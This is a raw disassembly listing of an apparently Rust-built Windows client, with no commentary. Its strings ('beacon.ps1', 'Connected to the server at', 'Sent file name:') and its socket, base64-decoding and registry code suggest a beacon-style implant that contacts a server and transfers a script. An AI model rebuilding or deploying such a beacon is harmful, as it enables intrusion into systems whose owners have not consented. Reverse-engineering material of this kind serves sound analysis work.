mov qword [rdi + 8], rbx
xor r14d, r14d
mov qword [rdi + 0x20], r14
lea r12, [rsp + 0x1940]
mov qword [rdi + 0x10], r12
mov esi, 1
mov qword [rdi + 0x18], rsi
lea r15, [rsp + 0xde0]
mov rcx, r15
mov rdx, rdi
call fcn.1400130d7
mov qword [rsp + 0x1940], r15
lea rax, [0x140009694]
mov qword [rsp + 0x1948], rax
lea rax, str.domain_is
mov qword [rdi], rax
mov qword [rdi + 8], rbx
mov qword [rdi + 0x20], r14
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], rsi
lea rcx, [rsp + 0x980]
call fcn.1400391f8
cmp qword [rsp + 0xde8], r14
je 0x14000dbf2
mov r8, qword [rsp + 0xde0]
mov rcx, qword [0x1400ea708]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x180]
imul rax, qword [rsp + 0x188], 0x118
lea r13, [r15 + rax]
add r13, 0x10
add r15, 0x10
lea rbx, [rsp + 0x980]
xor eax, eax
mov qword [rsp + 0x118], rax
xor r14d, r14d
mov r12, r14
mov rdi, rsi
mov rax, r15
cmp rax, r13
je 0x14000ddb3
lea r15, [rax + 0x118]
cmp word [rax + 0x50], 0x15
mov rax, r15
jne 0x14000dc30
cmp qword [r15 - 0xb8], 0
je 0x14000dc2d
mov rax, qword [r15 - 0xc0]
mov rcx, qword [rax]
mov qword [rsp + 0xd0], rcx
mov rcx, qword [rax + 8]
mov qword [rsp + 0x118], rcx
xor edx, edx
call fcn.140012d18
mov rsi, rax
mov r14, rdx
mov rcx, rax
mov rdx, qword [rsp + 0xd0]
mov r8, qword [rsp + 0x118]
call fcn.140085b90
mov rcx, rbx
mov rdx, rsi
mov r8, qword [rsp + 0x118]
call fcn.14001608f
cmp qword [rsp + 0x980], 0
je 0x14000dcf7
mov rax, qword [rsp + 0x988]
mov qword [rsp + 0xd0], rax
mov dl, byte [rsp + 0x990]
lea rcx, [rsp + 0x991]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0xde0], eax
mov dword [rsp + 0xde3], ecx
mov byte [rsp + 0xd8], dl
cmp dl, 2
jne 0x140010738
test r12, r12
je 0x14000dc27
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000dc27
lea rsi, [rsp + 0x12e4]
lea rdi, [rsp + 0x370]
mov ecx, 0x1f
rep movsd dword [rdi], dword [rsi]
lea rdx, [rsp + 0x1360]
lea rcx, [rsp + 0x1400]
mov r8d, 0xa0
call fcn.140085b90
mov al, byte [0x1400ea9e0]
mov ecx, 0x120
mov edx, 8
call fcn.140010eab
test rax, rax
je 0x140010d6f
mov rbx, rax
mov dword [rax], r14d
lea rdi, [rax + 4]
lea rsi, [rsp + 0x370]
mov ecx, 0x1f
rep movsd dword [rdi], dword [rsi]
mov rcx, rax
sub rcx, 0xffffffffffffff80
lea rdx, [rsp + 0x1400]
mov r8d, 0xa0
call fcn.140085b90
lea rsi, [0x14008bb90]
lea rcx, [rsp + 0x5a0]
call fcn.140002eb5
jmp 0x14000c2b5
lea rcx, [rsp + 0x180]
call fcn.140002da1
lea r13, [rsp + 0x5a0]
mov rcx, r13
call fcn.140002eb5
cmp qword [rsp + 0x2e0], 0
je 0x14000ddf2
mov r8, qword [rsp + 0x2d8]
mov rcx, qword [0x1400ea708]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rsp + 0x2d8]
mov qword [rbx], rdi
mov qword [rbx + 8], r12
mov rax, qword [rsp + 0x118]
mov qword [rbx + 0x10], rax
mov qword [rsp + 0x5a0], rbx
lea rax, [0x140009694]
mov qword [rsp + 0x5a8], rax
lea rax, str.IP_Address:
lea rsi, [rsp + 0x980]
mov qword [rsi], rax
mov edi, 2
mov qword [rsi + 8], rdi
xor r14d, r14d
mov qword [rsi + 0x20], r14
mov qword [rsi + 0x10], r13
mov r15d, 1
mov qword [rsi + 0x18], r15
mov rcx, rsi
call fcn.1400391f8
mov rax, qword [rbx]
mov rcx, qword [rbx + 0x10]
lea rdx, [rsp + 0xdd0]
mov qword [rdx], rax
mov qword [rdx + 8], rcx
lea rax, str.beacon.ps1Error_client.rs:
mov qword [rsp + 0x360], rax
mov qword [rsp + 0x368], 0xa
mov qword [rsp + 0x5a0], rdx
lea rax, [0x1400184e4]
mov qword [rsp + 0x5a8], rax
lea rax, [0x14008c388]
mov qword [rsi], rax
mov qword [rsi + 8], rdi
mov qword [rsi + 0x20], r14
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r15
lea rdi, [rsp + 0x370]
lea rdx, [rsp + 0x980]
mov rcx, rdi
call fcn.1400130d7
mov rsi, qword [rdi]
mov r8, qword [rdi + 0x10]
lea rdi, [rsp + 0x980]
mov rcx, rdi
mov rdx, rsi
call fcn.1400393ac
mov rax, qword [rdi]
test rax, rax
je 0x140010d7e
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x988]
mov qword [rsp + 0xd8], rax
mov r12, qword [rsp + 0x990]
mov r13, qword [rsp + 0x998]
cmp r12, r13
je 0x140010d9a
xor r14d, r14d
movzx esi, word [r12]
cmp si, 2
je 0x1400108ef
mov ebx, dword [r12 + 0x14]
mov edi, dword [r12 + 0x18]
movzx r15d, word [r12 + 0x1c]
movzx eax, word [r12 + 0x12]
mov word [rsp + 0x5b0], ax
movups xmm0, xmmword [r12 + 2]
movaps xmmword [rsp + 0x5a0], xmm0
mov rax, qword [0x1400ea710]
cmp rax, 3
jne 0x14000e064
lea rcx, [rsp + 0x980]
mov edx, esi
mov r8d, 1
call fcn.140039b6e
cmp qword [rsp + 0x980], 0
je 0x14000dfa9
mov rsi, qword [rsp + 0x988]
jmp 0x14000e042
test si, si
je 0x14000dfc2
mov r8d, 0x1c
mov ax, 0x17
movups xmm0, xmmword [rsp + 0x5a2]
jmp 0x14000dfdf
movzx r15d, word [rsp + 0x5a4]
mov ebx, dword [rsp + 0x5a0]
mov r8d, 0x10
mov ax, 2
xorps xmm0, xmm0
mov rcx, qword [rsp + 0x988]
rol r15w, 8
mov word [rsp + 0x980], ax
mov word [rsp + 0x982], r15w
mov dword [rsp + 0x984], ebx
movups xmmword [rsp + 0x988], xmm0
mov dword [rsp + 0x998], edi
mov rdi, rcx
lea rdx, [rsp + 0x980]
call qword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000e06e
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_closesocket]
test r14, r14
je 0x14000e04f
mov rcx, r14
call fcn.14000278e
add r12, 0x20
mov r14, rsi
cmp r12, r13
jne 0x14000df30
jmp 0x1400108f2
call fcn.140087bb2
jmp 0x14000df7c
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
call fcn.140040308
test r14, r14
je 0x14000e090
mov rcx, r14
call fcn.14000278e
cmp qword [rsp + 0x378], 0
lea r13, [rsp + 0x5a0]
je 0x14000e0ba
mov r8, qword [rsp + 0x370]
mov rcx, qword [0x1400ea708]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [rsp + 0xdd0]
mov qword [rsp + 0x5a0], rax
lea rax, [0x1400184e4]
mov qword [rsp + 0x5a8], rax
lea rax, str.Connected_to_the_server_at
lea rcx, [rsp + 0x980]
mov qword [rcx], rax
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
mov qword [rcx + 0x10], r13
mov qword [rcx + 0x18], 1
call fcn.1400391f8
mov rsi, qword [rsp + 0x368]
test rsi, rsi
mov qword [rsp + 0xf0], rdi
je 0x14000e1d3
mov rbx, qword [rsp + 0x360]
lea r14, [rsp + 0x980]
lea r15, str.failed_to_write_whole_buffer
lea r12, [0x1400e4a68]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
mov r9, rsi
mov ecx, esi
call fcn.140039cc3
cmp qword [rsp + 0x980], 0
je case.default.0x14000e173
mov rdi, qword [rsp + 0x988]
mov eax, edi
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
cmp byte [rdi + 0x10], 0x23
je 0x14000e1ba
jmp 0x140010c9e
mov rax, qword [rsp + 0x988]
test rax, rax
je 0x140010d58
sub rsi, rax
jb case.0x14000ecef.1
add rbx, rax
jmp 0x14000e1ca
mov rcx, rdi
call fcn.14000278e
mov rdi, qword [rsp + 0xf0]
test rsi, rsi
jne 0x14000e143
lea rax, [rsp + 0x360]
mov qword [rsp + 0x5a0], rax
lea rax, [0x1400184e4]
mov qword [rsp + 0x5a8], rax
lea rax, str.Sent_file_name:
lea rsi, [rsp + 0x980]
mov qword [rsi], rax
mov qword [rsi + 8], 2
mov qword [rsi + 0x20], 0
mov qword [rsi + 0x10], r13
mov ebx, 1
mov qword [rsi + 0x18], rbx
mov rcx, rsi
call fcn.1400391f8
lea rdi, [rsp + 0x1400]
mov qword [rdi], rbx
xorps xmm0, xmm0
movups xmmword [rdi + 8], xmm0
lea rcx, [rsp + 0x980]
mov r8d, 0x400
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x400
mov rcx, r13
mov rdx, qword [rsp + 0xf0]
mov r8, rsi
call fcn.140039c62
cmp qword [rsp + 0x5a0], 0
jne 0x140010943
mov rax, qword [rsp + 0x5a8]
test rax, rax
je 0x14000e2a9
cmp rax, 0x401
jae case.0x14000ecef.1
lea r8, [rsp + rax]
add r8, 0x980
mov rcx, rdi
mov rdx, rsi
call fcn.140012ad1
jmp 0x14000e250
mov r14, qword [rsp + 0x1400]
mov rsi, qword [rsp + 0x1408]
mov rbx, qword [rsp + 0x1410]
lea rdi, [rsp + 0xde0]
mov rcx, rdi
mov rdx, r14
mov r8, rbx
call fcn.14001608f
cmp qword [rdi], 0
je 0x14000e314
movups xmm0, xmmword [rsp + 0xde8]
movups xmmword [rsp + 0x5b8], xmm0
mov al, byte [rsp + 0x5c0]
mov qword [rsp + 0x5a0], r14
mov qword [rsp + 0x5a8], rsi
mov qword [rsp + 0x5b0], rbx
cmp al, 2
jne 0x140010e2a
xorps xmm0, xmm0
movaps xmmword [rsp + 0xdc0], xmm0
mov rax, rbx
add rax, 3
jb case.0x14000ecef.1
mov qword [rsp + 0x278], rsi
shr rax, 2
lea rcx, [rax + rax*2]
xor edx, edx
call fcn.140012d18
mov qword [rsp + 0x5a0], rax
mov qword [rsp + 0x5a8], rdx
mov qword [rsp + 0x5b0], 0
mov r13, rbx
add r13, 7
jb case.0x14000ecef.1
shr r13, 3
lea rax, [r13*2]
lea rdx, [rax + rax*2]
lea rsi, [rsp + 0x5a0]
mov rcx, rsi
call fcn.140013e9b
mov rax, qword [rsi]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0xd8], rax
mov eax, ebx
and eax, 7
cmp rax, 5
mov qword [rsp + 0xe0], r14
ja case.default.0x14000e3c4
lea rcx, [0x1400e4a78]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 8
jmp case.default.0x14000e3c4
mov eax, 0xa
jmp case.default.0x14000e3c4
mov eax, 0xb
jmp case.default.0x14000e3c4
mov eax, 0xc
xor r8d, r8d
mov rcx, rbx
sub rcx, rax
cmovb rcx, r8
cmp rcx, 0x20
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x230], rcx
jb 0x14000e89a
lea rax, [rcx - 0x20]
mov qword [rsp + 0xf8], rax
mov r11d, 0x20
xor eax, eax
lea rsi, [0x14008bda6]
test r11, r11
je case.0x14000ecef.1
cmp r11, rbx
ja case.0x14000ecef.1
lea rcx, [rax + 0x1a]
cmp rcx, qword [rsp + 0xd8]
ja case.0x14000ecef.1
lea rcx, [r11 - 0x20]
movzx r15d, byte [r14 + r11 - 0x20]
movzx r8d, byte [r15 + rsi]
cmp r8, 0xff
je 0x1400109a6
movzx r15d, byte [r14 + r11 - 0x1f]
movzx edx, byte [r15 + rsi]
cmp rdx, 0xff
je 0x140010970
movzx r15d, byte [r14 + r11 - 0x1e]
movzx r12d, byte [r15 + rsi]
cmp r12, 0xff
je 0x140010976
movzx r15d, byte [r14 + r11 - 0x1d]
movzx ebx, byte [r15 + rsi]
cmp rbx, 0xff
je 0x14001097c
movzx r15d, byte [r14 + r11 - 0x1c]
movzx edi, byte [r15 + rsi]
cmp rdi, 0xff
je 0x140010982
movzx r15d, byte [r14 + r11 - 0x1b]
movzx r10d, byte [r15 + rsi]
cmp r10, 0xff
je 0x1400109a2
mov qword [rsp + 0x100], rcx
movzx r15d, byte [r14 + r11 - 0x1a]
movzx r9d, byte [r15 + rsi]
cmp r9, 0xff
je 0x1400109b0
movzx r15d, byte [r14 + r11 - 0x19]
mov rcx, r14
movzx r14d, byte [r15 + rsi]
cmp r14, 0xff
je 0x1400109c1
shl rdx, 0x34
shl r8, 0x3a
or r8, rdx
shl r12, 0x2e
shl rbx, 0x28
or rbx, r12
or rbx, r8
shl rdi, 0x22
shl r10, 0x1c
or r10, rdi
shl r9, 0x16
or r9, r10
or r9, rbx
shl r14, 0x10
or r14, r9
bswap r14
mov rdx, qword [rsp + 0xd0]
mov qword [rdx + rax], r14
movzx r15d, byte [rcx + r11 - 0x18]
movzx r8d, byte [r15 + rsi]
cmp r8, 0xff
je 0x1400109d2
movzx r15d, byte [rcx + r11 - 0x17]
movzx edx, byte [r15 + rsi]
cmp rdx, 0xff
je 0x1400109e3
movzx r15d, byte [rcx + r11 - 0x16]
movzx r12d, byte [r15 + rsi]
cmp r12, 0xff
je 0x1400109f4
movzx r15d, byte [rcx + r11 - 0x15]
movzx ebx, byte [r15 + rsi]
cmp rbx, 0xff
je 0x140010a05
movzx r15d, byte [rcx + r11 - 0x14]
movzx edi, byte [r15 + rsi]
cmp rdi, 0xff
je 0x140010a16
movzx r15d, byte [rcx + r11 - 0x13]
movzx r10d, byte [r15 + rsi]
cmp r10, 0xff
je 0x140010a27
movzx r15d, byte [rcx + r11 - 0x12]
movzx r9d, byte [r15 + rsi]
cmp r9, 0xff
je 0x140010a38
movzx r15d, byte [rcx + r11 - 0x11]
movzx r14d, byte [r15 + rsi]
cmp r14, 0xff
je 0x140010a49
xor eax, eax
mov r9, qword [rsp + 0x230]
cmp r9, 8
jb 0x14000ea67
add r9, 0xfffffffffffffff8
cmp r8, r9
jae 0x14000ea67
mov qword [rsp + 0x100], r13
add r8, 8
lea r11, [0x14008bda6]
mov rdx, r8
test rdx, rdx
je case.0x14000ecef.1
mov r8, rdx
cmp rdx, rbx
ja case.0x14000ecef.1
cmp rax, 0xfffffffffffffff7
ja case.0x14000ecef.1
lea r10, [rax + 8]
cmp r10, qword [rsp + 0xd8]
ja case.0x14000ecef.1
lea rcx, [r8 - 8]
movzx r15d, byte [r14 + r8 - 8]
movzx esi, byte [r15 + r11]
cmp rsi, 0xff
je 0x1400109a6
movzx r15d, byte [r14 + r8 - 7]
movzx edx, byte [r15 + r11]
cmp rdx, 0xff
je 0x140010970
movzx r15d, byte [r14 + r8 - 6]
movzx r12d, byte [r15 + r11]
cmp r12, 0xff
je 0x140010976
mov qword [rsp + 0xf8], rax
movzx r15d, byte [r14 + r8 - 5]
movzx ebx, byte [r15 + r11]
cmp rbx, 0xff
je 0x14001097c
movzx r15d, byte [r14 + r8 - 4]
movzx edi, byte [r15 + r11]
cmp rdi, 0xff
je 0x140010982
mov rax, rcx
mov r13, r9
movzx r15d, byte [r14 + r8 - 3]
movzx r9d, byte [r15 + r11]
cmp r9, 0xff
je 0x140010988
movzx r15d, byte [r14 + r8 - 2]
mov rcx, r14
movzx r14d, byte [r15 + r11]
cmp r14, 0xff
je 0x14001098e
movzx r15d, byte [rcx + r8 - 1]
mov rcx, r11
movzx r11d, byte [r15 + r11]
cmp r11, 0xff
je 0x140010994
shl rdx, 0x34
shl rsi, 0x3a
or rsi, rdx
shl r12, 0x2e
shl rbx, 0x28
or rbx, r12
or rbx, rsi
shl rdi, 0x22
shl r9, 0x1c
or r9, rdi
shl r14, 0x16
or r14, r9
or r14, rbx
shl r11, 0x10
or r11, r14
bswap r11
mov rdx, qword [rsp + 0xd0]
mov rsi, qword [rsp + 0xf8]
mov qword [rdx + rsi], r11
dec qword [rsp + 0x100]
lea rdx, [r8 + 8]
mov rax, r10
add rax, 0xfffffffffffffffe
mov r9, r13
cmp r8, r13
mov r14, qword [rsp + 0xe0]
mov rbx, qword [rsp + 0x120]
mov r11, rcx
jb 0x14000e8d1
add rsi, 6
mov rax, rsi
mov r13, qword [rsp + 0x100]
cmp r13, 2
jb 0x14000ec32
mov rcx, rbx
sub rcx, r8
dec r13
cmp r8, rbx
ja case.0x14000ecef.1
cmp rax, 0xfffffffffffffff9
lea rbx, [0x14008bda6]
ja case.0x14000ecef.1
lea r9, [rax + 6]
cmp r9, qword [rsp + 0xd8]
ja case.0x14000ecef.1
test rcx, rcx
je case.0x14000ecef.1
movzx r15d, byte [r14 + r8]
movzx r10d, byte [r15 + rbx]
cmp r10, 0xff
je 0x140010b89
cmp rcx, 2
jb case.0x14000ecef.1
movzx r15d, byte [r14 + r8 + 1]
movzx r11d, byte [r15 + rbx]
cmp r11, 0xff
je 0x140010b62
cmp rcx, 2
jbe case.0x14000ecef.1
movzx r15d, byte [r14 + r8 + 2]
movzx esi, byte [r15 + rbx]
cmp rsi, 0xff
je 0x140010b67
cmp rcx, 3
jbe case.0x14000ecef.1
movzx r15d, byte [r14 + r8 + 3]
movzx r12d, byte [r15 + rbx]
cmp r12, 0xff
je 0x140010b6d
cmp rcx, 4
jbe case.0x14000ecef.1
movzx r15d, byte [r14 + r8 + 4]
movzx edx, byte [r15 + rbx]
cmp rdx, 0xff
je 0x140010b73
cmp rcx, 5
jbe case.0x14000ecef.1
movzx r15d, byte [r14 + r8 + 5]
movzx edi, byte [r15 + rbx]
cmp rdi, 0xff
je 0x140010b79
cmp rcx, 6
jbe case.0x14000ecef.1
movzx r15d, byte [r14 + r8 + 6]
movzx ebx, byte [r15 + rbx]
cmp rbx, 0xff
je 0x140010b7f
mov rsi, rax
cmp r8, rbx
ja case.0x14000ecef.1
jne 0x14000ec53
xor r15d, r15d
xor r10d, r10d
xor r9d, r9d
xor r11d, r11d
xor eax, eax
jmp 0x14000ed1c
add rbx, r14
lea r11, [r14 + r8]
xor ecx, ecx
xor eax, eax
xor r12d, r12d
xor r10d, r10d
xor r9d, r9d
xor r13d, r13d
mov rdx, r13
lea r13, [rdx + 1]
movzx r15d, byte [r11]
inc r11
cmp r15, 0x3d
jne 0x14000ec9b
test dl, 2
je 0x140010b4e
test r12d, r12d
cmove rax, rdx
inc r12d
mov rdx, r13
cmp r11, rbx
jne 0x14000ec6d
jmp 0x14000ecd4
test r12d, r12d
jg 0x140010e51
lea rcx, [0x14008bda6]
movzx edi, byte [r15 + rcx]
cmp rdi, 0xff
je 0x140010e5c
inc r10
imul ecx, r10d, 0x3a
shl rdi, cl
or r9, rdi
mov ecx, r15d
cmp r11, rbx
jne 0x14000ec6a
jmp 0x14000ecd7
mov r15d, ecx
cmp r10, 8
ja case.0x14000ecef.1
lea rax, [0x1400e4a90]
movsxd rcx, dword [rax + r10*4]
add rcx, rax
jmp rcx
mov eax, 8
jmp 0x14000ed19
mov eax, 0x10
jmp 0x14000ed19
mov eax, 0x18
jmp 0x14000ed19
mov eax, 0x20
jmp 0x14000ed19
mov eax, 0x28
jmp 0x14000ed19
mov eax, 0x30
mov r11b, 1
mov rdx, r9
mov ecx, eax
shl rdx, cl
test rdx, rdx
jne 0x140010da1
test r11b, r11b
je 0x14000ed6e
xor edx, edx
mov r8d, 0x38
cmp rsi, qword [rsp + 0xd8]
jae case.0x14000ecef.1
mov ecx, r8d
and cl, 0x38
mov r10, r9
shr r10, cl
mov rcx, qword [rsp + 0xd0]
mov byte [rcx + rsi], r10b
inc rsi
add edx, 8
add r8d, 0xfffffff8
cmp edx, eax
jb 0x14000ed3a
mov rax, qword [rsp + 0xd8]
cmp rax, rsi
cmovb rsi, rax
mov qword [rsp + 0xd8], rsi
lea rsi, [rsp + 0x5a0]
mov rax, qword [rsi + 8]
mov qword [rsp + 0xf8], rax
lea rdi, [rsp + 0x444]
mov rcx, rdi
call fcn.1400140f0
mov rcx, rsi
mov rdx, rdi
call fcn.140013f6c
mov eax, dword [rsi + 8]
sar eax, 0xd
mov dword [rsp + 0x130], eax
lea rsi, [rsp + 0x5a0]
mov rcx, rsi
mov rdx, rdi
call fcn.140013f6c
mov eax, dword [rsi + 8]
and eax, 0x1fff
xor edi, edi
lea rbx, [0x14008bea6]
mov ecx, 0
cmp eax, 0x16e7
ja 0x14000ee00
mov ecx, eax
shr ecx, 3
movzx ecx, byte [rcx + rbx]
lea ecx, [rax + rcx*8]
shr ecx, 9
mov dword [rsp + 0x180], ecx
lea rsi, [rsp + 0x5a0]
lea rdx, [rsp + 0x444]
mov rcx, rsi
call fcn.140013f6c
mov eax, dword [rsi + 8]
mov ecx, eax
and ecx, 0x1fff
cmp ecx, 0x16e7
ja 0x14000ee42
shr ecx, 3
movzx ecx, byte [rcx + rbx]
lea edi, [rax + rcx*8]
shr edi, 4
and edi, 0x1f
mov dword [rsp + 0x11c0], edi
lea rdi, [rsp + 0x5a0]
lea rdx, [rsp + 0x444]
mov rcx, rdi
call fcn.140013f6c
mov eax, dword [rdi]
mov ecx, 0x91a2b3c5
imul rcx, rax
shr rcx, 0x2b
lea rsi, [rsp + 0x12e0]
mov dword [rsi], ecx
lea rax, [rsp + 0x130]
lea r15, [rsp + 0xde0]
mov qword [r15], rax
lea rax, [0x14001a894]
mov qword [r15 + 8], rax
lea rax, [rsp + 0x180]
mov qword [r15 + 0x10], rax
lea rax, [0x1400182e2]
mov qword [r15 + 0x18], rax
lea rcx, [rsp + 0x11c0]
mov qword [r15 + 0x20], rcx
mov qword [r15 + 0x28], rax
lea rcx, [rsp + 0x12e0]
mov qword [r15 + 0x30], rcx
mov qword [r15 + 0x38], rax
mov ecx, 2
mov qword [rdi], rcx
xor r12d, r12d
mov qword [rdi + 0x10], r12
mov eax, 4
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x20], r12
mov edx, 0x30
mov qword [rdi + 0x28], rdx
mov r8b, 1
mov byte [rdi + 0x30], r8b
mov qword [rdi + 0x38], rcx
mov qword [rdi + 0x48], r12
mov qword [rdi + 0x50], rcx
mov qword [rdi + 0x58], 1
mov qword [rdi + 0x60], rdx
mov byte [rdi + 0x68], r8b
mov qword [rdi + 0x70], rcx
mov qword [rdi + 0x80], r12
mov qword [rdi + 0x88], rcx
mov qword [rdi + 0x90], rcx
mov qword [rdi + 0x98], rdx
mov byte [rdi + 0xa0], r8b
mov qword [rdi + 0xa8], rcx
mov qword [rdi + 0xb8], r12
mov qword [rdi + 0xc0], rcx
mov qword [rdi + 0xc8], 3
mov qword [rdi + 0xd0], rdx
mov byte [rdi + 0xd8], r8b
lea rcx, [0x14008c458]
lea rdx, [rsp + 0x1580]
mov qword [rdx], rcx
mov qword [rdx + 8], rax
mov qword [rdx + 0x20], rdi
mov qword [rdx + 0x28], rax
lea rcx, [rsp + 0xde0]
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
lea rdi, [rsp + 0x450]
mov rcx, rdi
call fcn.1400130d7
mov qword [rsi + 0x68], r12
pxor xmm6, xmm6
movdqu xmmword [rsi + 0x58], xmm6
movdqu xmmword [rsi + 0x48], xmm6
movdqu xmmword [rsi + 0x38], xmm6
movdqu xmmword [rsi + 0x28], xmm6
movaps xmm0, xmmword [0x14008b8b0]
movups xmmword [rsi + 0x10], xmm0
movaps xmm0, xmmword [0x14008b8c0]
movups xmmword [rsi], xmm0
mov qword [rsi + 0x20], r12
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rsi
call fcn.1400304a9
lea r12, [rsp + 0x5a0]
mov ecx, 0xe
mov rdi, r12
rep movsq qword [rdi], qword [rsi]
movdqa xmmword [r15 + 0x10], xmm6
movdqa xmmword [r15], xmm6
mov rcx, r12
mov rdx, r15
call fcn.14003058c
movaps xmm0, xmmword [r15]
movapd xmm1, xmmword [r15 + 0x10]
movapd xmmword [rsp + 0x11d0], xmm1
movaps xmmword [rsp + 0x11c0], xmm0
mov al, byte [section..data]
cmp al, 0xff
je 0x14000f045
test r14, r14
je 0x1400101f7
mov rcx, qword [0x1400ea708]
xor r14d, r14d
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400101fa
call fcn.140087b46
test al, al
jne 0x14000dae3
mov byte [rsp + 0x7a0], 1
jmp 0x14000dae3
xor r14d, r14d
xor r15d, r15d
xor ebx, ebx
mov rcx, rsi
call fcn.140084dc0
mov r12b, 1
mov rsi, rbx
mov rcx, 0xffffffff80000002
call fcn.140084dc0
and r15, 0xffffffffffffff00
movzx r14d, r14b
or r14, r15
test r12b, r12b
je 0x1400102a0
test rsi, rsi
je 0x1400102ce
lea rbx, [rsp + 0xde0]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.1400596d8
movzx edi, word [rbx]
cmp di, 2
jne 0x140010359
mov rdi, qword [rsp + 0xde8]
mov eax, 6
cmp word [rdi], 0x1e
jne 0x140010278
mov rcx, rdi
call fcn.1400624bd
mov eax, 7
mov dword [rsp + 0x1580], eax
mov qword [rsp + 0x1588], rdi
test r14, r14
je 0x1400102bc
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400102bc
lea rdx, [rsp + 0xde0]
mov qword [rdx], rsi
mov qword [rdx + 8], r14
lea rcx, [rsp + 0x1580]
call fcn.14007537c
lea rcx, [rsp + 0x200]
call fcn.14006e8cf
jmp 0x14000c056
xor edi, edi
mov dword [rsp + 0x240], edi
mov word [rsp + 0x244], 0
mov dword [rsp + 0xdf0], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0xdf8], xmm0
movups xmmword [rsp + 0xe04], xmm0
movaps xmmword [rsp + 0x370], xmm0
mov eax, dword [rsp + 0xdf0]
mov dword [rsp + 0x380], eax
mov rax, qword [rsp + 0xdf4]
mov qword [rsp + 0x384], rax
mov eax, dword [rsp + 0xdfc]
mov dword [rsp + 0x38c], eax
movaps xmm0, xmmword [rsp + 0xe00]
movaps xmmword [rsp + 0x390], xmm0
mov rax, qword [rsp + 0xe10]
mov qword [rsp + 0x3a0], rax
mov bl, 1
xor r15d, r15d
jmp 0x1400103f9
movzx eax, word [rsp + 0xde6]
mov word [rsp + 0x244], ax
mov eax, dword [rsp + 0xde2]
mov dword [rsp + 0x240], eax
mov r15, qword [rsp + 0xde8]
movups xmm0, xmmword [rsp + 0xdf0]
movaps xmmword [rsp + 0x370], xmm0
movups xmm0, xmmword [rsp + 0xe00]
movaps xmmword [rsp + 0x380], xmm0
movups xmm0, xmmword [rsp + 0xe10]
movaps xmmword [rsp + 0x390], xmm0
mov rax, qword [rsp + 0xe20]
mov qword [rsp + 0x3a0], rax
mov bl, byte [rsp + 0xe28]
mov eax, dword [rsp + 0xe29]
mov dword [rsp + 0x280], eax
mov eax, dword [rsp + 0xe2c]
mov dword [rsp + 0x283], eax
test r14, r14
je 0x1400103f9
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov word [rsp + 0xde0], di
mov eax, dword [rsp + 0x240]
mov dword [rsp + 0xde2], eax
movzx eax, word [rsp + 0x244]
mov word [rsp + 0xde6], ax
mov qword [rsp + 0xde8], r15
movaps xmm0, xmmword [rsp + 0x370]
movapd xmm1, xmmword [rsp + 0x380]
movdqa xmm2, xmmword [rsp + 0x390]
movups xmmword [rsp + 0xdf0], xmm0
movupd xmmword [rsp + 0xe00], xmm1
movdqu xmmword [rsp + 0xe10], xmm2
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0xe20], rax
mov byte [rsp + 0xe28], bl
mov eax, dword [rsp + 0x280]
mov ecx, dword [rsp + 0x283]
mov dword [rsp + 0xe29], eax
mov dword [rsp + 0xe2c], ecx
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0xe40], rax
movups xmm0, xmmword [rsp + 0x200]
movups xmmword [rsp + 0xe30], xmm0
movaps xmm0, xmmword [rsp + 0x330]
movups xmmword [rsp + 0xe48], xmm0
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0xe58], rax
lea rdx, [0x1400bd2c4]
mov r8d, 0x30
mov rcx, 0xffffffff80000002
call fcn.140028cf4
mov rsi, rdx
test rax, rax
je 0x140010503
mov rcx, rsi
call case.0x14003eea9.170
test al, al
je 0x140010534
mov rdi, rsi
jmp 0x140010584
lea r8, [0x1400bd2f4]
lea rdi, [rsp + 0x180]
mov r9d, 0xa
mov rcx, rdi
mov rdx, rsi
call fcn.140028ba0
mov al, byte [rdi + 0x18]
cmp al, 0xc
jne 0x140010546
mov rdi, qword [rsp + 0x180]
jmp 0x140010570
mov rcx, rsi
call fcn.14000278e
mov edi, 1
jmp 0x140010606
lea rcx, [rsp + 0x180]
cmp al, 4
jne 0x140010561
mov rax, qword [rcx]
mov edi, dword [rax]
call fcn.1400292e9
jmp 0x1400105fe
call fcn.1400292e9
movabs rdi, 0xde00000002
mov rcx, rdi
call case.0x14003eea9.170
test al, al
je 0x1400105f1
mov rcx, rsi
call fcn.140084dc0
mov rcx, 0xffffffff80000002
call fcn.140084dc0
mov rax, rdi
shr rax, 8
mov rcx, rdi
shr rcx, 0x38
lea rdx, [rsp + 0x180]
mov byte [rdx + 7], cl
mov rcx, rdi
shr rcx, 0x28
mov word [rdx + 5], cx
